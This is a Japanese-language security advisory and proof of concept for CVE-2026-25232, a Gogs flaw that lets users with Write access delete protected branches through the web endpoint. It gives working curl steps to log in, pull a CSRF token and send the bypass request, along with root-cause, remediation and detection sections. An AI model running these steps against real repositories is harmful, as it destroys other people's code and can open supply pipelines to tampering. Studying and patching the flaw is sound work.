CVE-2026-25232 — Gogs 保護ブランチ削除バイパス（Write → Admin 権限昇格）

概要

説明

CVE-2026-25232 は、Gogs の Web インターフェースにおけるアクセス制御バイパスの脆弱性です。これにより、Write 権限を持つリポジトリのコラボレーターは、DeleteBranchPost エンドポイントに直接 POST リクエストを送信することで、デフォルトブランチを含む保護ブランチを削除でき、ブランチ保護メカニズムを完全にバイパスできます。

根本原因は、Git Hook レイヤーと Web インターフェースがブランチ保護を適用する方法の相違にあります：

• Git Hooks（SSH）: SSH プッシュ操作による保護ブランチの削除を正しくブロックします
• Web インターフェース: DeleteBranchPost 関数は Git Hooks をトリガーしないため、保護チェックが実行されることはありません

これにより、低権限のコラボレーターが、リポジトリ管理者のみに制限されるべき操作を実行できます。

前提条件

• 登録済みの Gogs アカウント
• 対象リポジトリに対する Write 権限
• 対象リポジトリに設定された保護ブランチ
• Gogs Web インターフェースへのネットワークアクセス

概念実証

環境

• ターゲット: http://<TARGET>:3001
• 攻撃者アカウント: attacker:Password123!（リポジトリに対する Write 権限）
• 対象リポジトリ: admin/important-repo
• 保護ブランチ: main（デフォルトブランチ）

ステップ 1 — ブランチ保護が有効であることを確認

ブランチが保護されており、通常の手段では削除できないことを確認します：

# API による通常のブランチ削除を試行 - これは失敗するはずです
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

期待される応答: 403 Forbidden または保護エラー。

ステップ 2 — 有効な CSRF トークンを取得

認証済みページから CSRF トークンを取得します：

curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# リポジトリページから CSRF トークンを抽出
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

ステップ 3 — DeleteBranchPost への直接 POST による保護のバイパス

保護チェックをバイパスして、ブランチ削除エンドポイントに直接 POST リクエストを送信します：

curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

攻撃者が Write 権限しか持っていないにもかかわらず、保護ブランチが削除されます。

ステップ 4 — 削除の確認

curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

main ブランチは応答に表示されなくなります。

なぜ機能するのか

Gogs の Web ハンドラー内の DeleteBranchPost 関数は、ユーザーが認証されており、リポジトリに対する Write アクセス権を持っていることを検証しますが、対象ブランチが保護されているかどうかはチェックしません：

HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
チェック: ユーザーは認証されているか？ ✓
チェック: ユーザーは Write アクセス権を持っているか？ ✓
チェック: ブランチは保護されているか？ ✗（欠落）
    ↓
ブランチが正常に削除される

ブランチ保護を強制する Git Hook レイヤーは、SSH または HTTP Git プロトコルを介した Git プッシュ/削除操作中にのみトリガーされ、Web インターフェース操作中にはトリガーされません。このアーキテクチャ上のギャップにより、Write レベルのコラボレーターなら誰でもこの操作を実行できます。

影響

Write 権限を持つ悪意のあるコラボレーターは、以下を実行できます：

• デフォルトブランチを含む任意の保護ブランチの削除
• リポジトリのメイン開発ラインの破壊
• 保護ブランチに依存する CI/CD パイプラインの中断
• 保護なしでのフォースプッシュやブランチの再作成による、本番パイプラインへのコードインジェクションの有効化
• ブランチ管理操作における実効権限の Write → Admin レベルへの昇格

Gogs リポジトリが自動化されたデプロイメントパイプラインに供給される環境では、これはサプライチェーン侵害につながる可能性があります。

修復

Gogs v0.14.1 以降にアップグレードしてください。この修正により、DeleteBranchPost 関数に適切な認可チェックが追加され、リクエストの方法に関係なく、削除を許可する前にブランチ保護ステータスが検証されます。

一時的な緩和策として：

• リポジトリへの Write アクセスを高度に信頼されたユーザーのみに制限
• Gogs Web インターフェースに到達できるユーザーを制限するネットワークレベルのアクセス制御を実装
• /repos/{owner}/{repo}/branches/delete への予期しない POST リクエストがないか Web サーバーログを監視
• 外部バックアップソリューションを使用して保護ブランチのコピーを維持

検出

以下の悪用の兆候を探してください：

• Web サーバーログ内の /<owner>/<repo>/branches/delete への予期しない POST リクエスト
• ログ内の対応する Git Hook アクティビティなしで削除された保護ブランチ
• Admin 権限を持たないユーザーによるブランチ削除イベント
• デフォルトブランチの欠落または予期しない変更

参考情報

• GitHub セキュリティアドバイザリ GHSA-2c6v-8r3v-gh6p
• Gogs v0.14.1 リリース
• CWE-863: 不適切な認可

免責事項

この PoC は教育目的および許可されたセキュリティテスト専用です。明示的なテスト許可がないシステムに対して使用しないでください。